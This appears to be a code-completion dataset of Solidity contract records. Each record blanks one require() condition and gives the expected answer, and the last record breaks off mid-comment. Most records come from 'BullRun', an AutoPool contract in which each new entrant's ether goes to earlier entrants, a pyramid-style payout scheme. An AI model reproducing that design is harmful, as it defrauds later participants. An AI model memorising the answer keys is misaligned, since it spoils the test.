int24 _baseThreshold,
int24 _limitThreshold,
uint256 _period,
int24 _minTickMove,
int24 _maxTwapDeviation,
uint32 _twapDuration
) public onlyGovernance {
}
/**
* @notice Calculates new ranges for orders and calls `vault.rebalance()`
* so that vault can update its positions. Can only be called by keeper.
*/
function rebalance(address _vault) external override {
}
function shouldRebalance(address _vault) public view override returns (bool) {
//require that a vault be registered before it can be rebalanced
require(<FILL_ME>)
// check called by keeper
if (msg.sender != keeper) {
return false;
}
vaultData memory _data = vaultStrategyData[_vault];
// check enough time has passed
if (block.timestamp < _data.lastTimestamp.add(_data.period)) {
return false;
}
// check price has moved enough
int24 tick = getTick(_data.pool);
int24 tickMove = tick > _data.lastTick ? tick - _data.lastTick : _data.lastTick - tick;
if (tickMove < _data.minTickMove) {
return false;
}
// check price near twap
int24 twap = getTwap(_data.pool, _data.twapDuration);
int24 twapDeviation = tick > twap ? tick - twap : twap - tick;
if (twapDeviation > _data.maxTwapDeviation) {
return false;
}
// check price not too close to boundary
int24 maxThreshold = _data.baseThreshold > _data.limitThreshold
? _data.baseThreshold
: _data.limitThreshold;
if (tick < TickMath.MIN_TICK + maxThreshold + _data.tickSpacing) {
return false;
}
if (tick > TickMath.MAX_TICK - maxThreshold - _data.tickSpacing) {
return false;
}
return true;
}
function getTick(IUniswapV3Pool _pool) public view returns (int24) {
}
/// @dev Fetches time-weighted average price in ticks from Uniswap pool.
function getTwap(IUniswapV3Pool pool, uint32 _twapDuration) public view returns (int24) {
}
/// @dev Rounds tick down towards negative infinity so that it's a multiple
/// of `tickSpacing`.
function _floor(int24 tick, int24 tickSpacing) internal view returns (int24) {
}
function _checkThreshold(int24 threshold, int24 _tickSpacing) internal pure {
}
function setKeeper(address _keeper) external onlyGovernance {
}
function setBaseThreshold(address _vault, int24 _baseThreshold)
external
onlyVaultGovernance(_vault)
{
}
function setLimitThreshold(address _vault, int24 _limitThreshold)
external
onlyVaultGovernance(_vault)
{
}
function setPeriod(address _vault, uint256 _period) external onlyVaultGovernance(_vault) {
}
function setMinTickMove(address _vault, int24 _minTickMove)
external
onlyVaultGovernance(_vault)
{
}
function setMaxTwapDeviation(address _vault, int24 _maxTwapDeviation)
external
onlyVaultGovernance(_vault)
{
}
function setTwapDuration(address _vault, uint32 _twapDuration)
external
onlyVaultGovernance(_vault)
{
}
/// @dev uses same governance as underlying vault.
modifier onlyVaultGovernance(address _vault) {
}
}
| vaultStrategyData[_vault].isInitialized,"vault not registered" | 38,151 | vaultStrategyData[_vault].isInitialized |
"threshold must be multiple of tickSpacing" | /**
* @title Crab Strategy
*
* @notice Rebalancing strategy for Coinsul Uni V3 Vault that maintains the two
* following range orders:
*
* 1. Base order is placed between X - B and X + B + TS.
* 2. Limit order is placed between X - L and X, or between X + TS
* and X + L + TS, depending on which token it holds more of.
*
* where:
*
* X = current tick rounded down to multiple of tick spacing
* TS = tick spacing
* B = base threshold
* L = limit threshold
*
* Note that after these two orders, the vault should have deposited
* all its tokens and should only have a few wei left.
*
* Because the limit order tries to sell whichever token the vault
* holds more of, the vault's holdings will have a tendency to get
* closer to a 1:1 balance. This enables it to continue providing
* liquidity without running out of inventory of either token, and
* achieves this without the need to swap directly on Uniswap and pay
* fees.
*/
contract CrabStrategy is IStrategyV2, Governance {
using SafeMath for uint256;
struct vaultData {
IUniswapV3Pool pool;
CoinsulUniV3Vault vault;
int24 baseThreshold;
int24 limitThreshold;
uint256 period;
int24 minTickMove;
int24 maxTwapDeviation;
uint32 twapDuration;
uint256 lastTimestamp;
int24 tickSpacing;
int24 lastTick;
bool isInitialized;
}
mapping(address => vaultData) public vaultStrategyData;
address public keeper;
/**
* @param _keeper Account that can call `rebalance()`
*/
constructor(address _keeper) {
}
/**
* @param _vaultLoc Underlying Coinsul Uni V3 Vault
* @param _baseThreshold Used to determine base order range
* @param _limitThreshold Used to determine limit order range
* @param _period Can only rebalance if this length of time has passed
* @param _minTickMove Can only rebalance if price has moved at least this much
* @param _maxTwapDeviation Max deviation from TWAP during rebalance
* @param _twapDuration TWAP duration in seconds for deviation check
*/
function registerVault(
address _vaultLoc,
int24 _baseThreshold,
int24 _limitThreshold,
uint256 _period,
int24 _minTickMove,
int24 _maxTwapDeviation,
uint32 _twapDuration
) public onlyGovernance {
}
/**
* @notice Calculates new ranges for orders and calls `vault.rebalance()`
* so that vault can update its positions. Can only be called by keeper.
*/
function rebalance(address _vault) external override {
}
function shouldRebalance(address _vault) public view override returns (bool) {
}
function getTick(IUniswapV3Pool _pool) public view returns (int24) {
}
/// @dev Fetches time-weighted average price in ticks from Uniswap pool.
function getTwap(IUniswapV3Pool pool, uint32 _twapDuration) public view returns (int24) {
}
/// @dev Rounds tick down towards negative infinity so that it's a multiple
/// of `tickSpacing`.
function _floor(int24 tick, int24 tickSpacing) internal view returns (int24) {
}
function _checkThreshold(int24 threshold, int24 _tickSpacing) internal pure {
require(threshold > 0, "threshold must be > 0");
require(threshold <= TickMath.MAX_TICK, "threshold too high");
require(<FILL_ME>)
}
function setKeeper(address _keeper) external onlyGovernance {
}
function setBaseThreshold(address _vault, int24 _baseThreshold)
external
onlyVaultGovernance(_vault)
{
}
function setLimitThreshold(address _vault, int24 _limitThreshold)
external
onlyVaultGovernance(_vault)
{
}
function setPeriod(address _vault, uint256 _period) external onlyVaultGovernance(_vault) {
}
function setMinTickMove(address _vault, int24 _minTickMove)
external
onlyVaultGovernance(_vault)
{
}
function setMaxTwapDeviation(address _vault, int24 _maxTwapDeviation)
external
onlyVaultGovernance(_vault)
{
}
function setTwapDuration(address _vault, uint32 _twapDuration)
external
onlyVaultGovernance(_vault)
{
}
/// @dev uses same governance as underlying vault.
modifier onlyVaultGovernance(address _vault) {
}
}
| threshold%_tickSpacing==0,"threshold must be multiple of tickSpacing" | 38,151 | threshold%_tickSpacing==0 |
"Already in AutoPool" | /**
*Submitted for verification at Etherscan.io on 2020-05-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-23
*/
/*
██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░██╗░░░██╗███╗░░██╗
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║████╗░██║
██████╦╝██║░░░██║██║░░░░░██║░░░░░██████╔╝██║░░░██║██╔██╗██║
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║██║╚████║
██████╦╝╚██████╔╝███████╗███████╗██║░░██║╚██████╔╝██║░╚███║
╚═════╝░░╚═════╝░╚══════╝╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚══╝ V5
Hello
I am Bullrun,
Global One line AutoPool Smart contract.
My URL : https://bullrun2020.github.io
Hashtag: #bullrun2020
*/
pragma solidity 0.5.11 - 0.6.4;
contract BullRun {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
}
function regUser(uint _referrerID) public payable {
}
function payReferral(uint _level, address _user) internal {
}
function buyPool1() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(<FILL_ME>)
require(msg.value == pool1_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool1Currentuser=pool1userList[pool1activeUserID];
pool1currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1users[msg.sender] = userStruct;
pool1userList[pool1currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool1Currentuser)).send(pool1_price);
if (sent) {
pool1users[pool1Currentuser].payment_received+=1;
if(pool1users[pool1Currentuser].payment_received>=2)
{
pool1activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool1Currentuser, 1, now);
}
emit regPoolEntry(msg.sender, 1, now);
}
function buyPool2() public payable {
}
function buyPool3() public payable {
}
function buyPool4() public payable {
}
function buyPool5() public payable {
}
function buyPool6() public payable {
}
function buyPool7() public payable {
}
function buyPool8() public payable {
}
function buyPool9() public payable {
}
function buyPool10() public payable {
}
function getEthBalance() public view returns(uint) {
}
function sendBalance() private
{
}
}
| !pool1users[msg.sender].isExist,"Already in AutoPool" | 38,223 | !pool1users[msg.sender].isExist |
"Already in AutoPool" | /**
*Submitted for verification at Etherscan.io on 2020-05-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-23
*/
/*
██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░██╗░░░██╗███╗░░██╗
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║████╗░██║
██████╦╝██║░░░██║██║░░░░░██║░░░░░██████╔╝██║░░░██║██╔██╗██║
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║██║╚████║
██████╦╝╚██████╔╝███████╗███████╗██║░░██║╚██████╔╝██║░╚███║
╚═════╝░░╚═════╝░╚══════╝╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚══╝ V5
Hello
I am Bullrun,
Global One line AutoPool Smart contract.
My URL : https://bullrun2020.github.io
Hashtag: #bullrun2020
*/
pragma solidity 0.5.11 - 0.6.4;
contract BullRun {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
}
function regUser(uint _referrerID) public payable {
}
function payReferral(uint _level, address _user) internal {
}
function buyPool1() public payable {
}
function buyPool2() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(<FILL_ME>)
require(msg.value == pool2_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool2Currentuser=pool2userList[pool2activeUserID];
pool2currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2users[msg.sender] = userStruct;
pool2userList[pool2currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool2Currentuser)).send(pool2_price);
if (sent) {
pool2users[pool2Currentuser].payment_received+=1;
if(pool2users[pool2Currentuser].payment_received>=3)
{
pool2activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool2Currentuser, 2, now);
}
emit regPoolEntry(msg.sender,2, now);
}
function buyPool3() public payable {
}
function buyPool4() public payable {
}
function buyPool5() public payable {
}
function buyPool6() public payable {
}
function buyPool7() public payable {
}
function buyPool8() public payable {
}
function buyPool9() public payable {
}
function buyPool10() public payable {
}
function getEthBalance() public view returns(uint) {
}
function sendBalance() private
{
}
}
| !pool2users[msg.sender].isExist,"Already in AutoPool" | 38,223 | !pool2users[msg.sender].isExist |
"Must need 0 referral" | /**
*Submitted for verification at Etherscan.io on 2020-05-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-23
*/
/*
██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░██╗░░░██╗███╗░░██╗
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║████╗░██║
██████╦╝██║░░░██║██║░░░░░██║░░░░░██████╔╝██║░░░██║██╔██╗██║
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║██║╚████║
██████╦╝╚██████╔╝███████╗███████╗██║░░██║╚██████╔╝██║░╚███║
╚═════╝░░╚═════╝░╚══════╝╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚══╝ V5
Hello
I am Bullrun,
Global One line AutoPool Smart contract.
My URL : https://bullrun2020.github.io
Hashtag: #bullrun2020
*/
pragma solidity 0.5.11 - 0.6.4;
contract BullRun {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
}
function regUser(uint _referrerID) public payable {
}
function payReferral(uint _level, address _user) internal {
}
function buyPool1() public payable {
}
function buyPool2() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool2users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool2_price, 'Incorrect Value');
require(<FILL_ME>)
PoolUserStruct memory userStruct;
address pool2Currentuser=pool2userList[pool2activeUserID];
pool2currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2users[msg.sender] = userStruct;
pool2userList[pool2currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool2Currentuser)).send(pool2_price);
if (sent) {
pool2users[pool2Currentuser].payment_received+=1;
if(pool2users[pool2Currentuser].payment_received>=3)
{
pool2activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool2Currentuser, 2, now);
}
emit regPoolEntry(msg.sender,2, now);
}
function buyPool3() public payable {
}
function buyPool4() public payable {
}
function buyPool5() public payable {
}
function buyPool6() public payable {
}
function buyPool7() public payable {
}
function buyPool8() public payable {
}
function buyPool9() public payable {
}
function buyPool10() public payable {
}
function getEthBalance() public view returns(uint) {
}
function sendBalance() private
{
}
}
| users[msg.sender].referredUsers>=0,"Must need 0 referral" | 38,223 | users[msg.sender].referredUsers>=0 |
"Already in AutoPool" | /**
*Submitted for verification at Etherscan.io on 2020-05-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-23
*/
/*
██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░██╗░░░██╗███╗░░██╗
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║████╗░██║
██████╦╝██║░░░██║██║░░░░░██║░░░░░██████╔╝██║░░░██║██╔██╗██║
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║██║╚████║
██████╦╝╚██████╔╝███████╗███████╗██║░░██║╚██████╔╝██║░╚███║
╚═════╝░░╚═════╝░╚══════╝╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚══╝ V5
Hello
I am Bullrun,
Global One line AutoPool Smart contract.
My URL : https://bullrun2020.github.io
Hashtag: #bullrun2020
*/
pragma solidity 0.5.11 - 0.6.4;
contract BullRun {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
}
function regUser(uint _referrerID) public payable {
}
function payReferral(uint _level, address _user) internal {
}
function buyPool1() public payable {
}
function buyPool2() public payable {
}
function buyPool3() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(<FILL_ME>)
require(msg.value == pool3_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool3Currentuser=pool3userList[pool3activeUserID];
pool3currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3users[msg.sender] = userStruct;
pool3userList[pool3currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool3Currentuser)).send(pool3_price);
if (sent) {
pool3users[pool3Currentuser].payment_received+=1;
if(pool3users[pool3Currentuser].payment_received>=3)
{
pool3activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool3Currentuser, 3, now);
}
emit regPoolEntry(msg.sender,3, now);
}
function buyPool4() public payable {
}
function buyPool5() public payable {
}
function buyPool6() public payable {
}
function buyPool7() public payable {
}
function buyPool8() public payable {
}
function buyPool9() public payable {
}
function buyPool10() public payable {
}
function getEthBalance() public view returns(uint) {
}
function sendBalance() private
{
}
}
| !pool3users[msg.sender].isExist,"Already in AutoPool" | 38,223 | !pool3users[msg.sender].isExist |
"Already in AutoPool" | /**
*Submitted for verification at Etherscan.io on 2020-05-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-23
*/
/*
██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░██╗░░░██╗███╗░░██╗
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║████╗░██║
██████╦╝██║░░░██║██║░░░░░██║░░░░░██████╔╝██║░░░██║██╔██╗██║
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║██║╚████║
██████╦╝╚██████╔╝███████╗███████╗██║░░██║╚██████╔╝██║░╚███║
╚═════╝░░╚═════╝░╚══════╝╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚══╝ V5
Hello
I am Bullrun,
Global One line AutoPool Smart contract.
My URL : https://bullrun2020.github.io
Hashtag: #bullrun2020
*/
pragma solidity 0.5.11 - 0.6.4;
contract BullRun {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
}
function regUser(uint _referrerID) public payable {
}
function payReferral(uint _level, address _user) internal {
}
function buyPool1() public payable {
}
function buyPool2() public payable {
}
function buyPool3() public payable {
}
function buyPool4() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(<FILL_ME>)
require(msg.value == pool4_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool4Currentuser=pool4userList[pool4activeUserID];
pool4currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4users[msg.sender] = userStruct;
pool4userList[pool4currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool4Currentuser)).send(pool4_price);
if (sent) {
pool4users[pool4Currentuser].payment_received+=1;
if(pool4users[pool4Currentuser].payment_received>=3)
{
pool4activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool4Currentuser, 4, now);
}
emit regPoolEntry(msg.sender,4, now);
}
function buyPool5() public payable {
}
function buyPool6() public payable {
}
function buyPool7() public payable {
}
function buyPool8() public payable {
}
function buyPool9() public payable {
}
function buyPool10() public payable {
}
function getEthBalance() public view returns(uint) {
}
function sendBalance() private
{
}
}
| !pool4users[msg.sender].isExist,"Already in AutoPool" | 38,223 | !pool4users[msg.sender].isExist |
"Already in AutoPool" | /**
*Submitted for verification at Etherscan.io on 2020-05-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-23
*/
/*
██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░██╗░░░██╗███╗░░██╗
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║████╗░██║
██████╦╝██║░░░██║██║░░░░░██║░░░░░██████╔╝██║░░░██║██╔██╗██║
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║██║╚████║
██████╦╝╚██████╔╝███████╗███████╗██║░░██║╚██████╔╝██║░╚███║
╚═════╝░░╚═════╝░╚══════╝╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚══╝ V5
Hello
I am Bullrun,
Global One line AutoPool Smart contract.
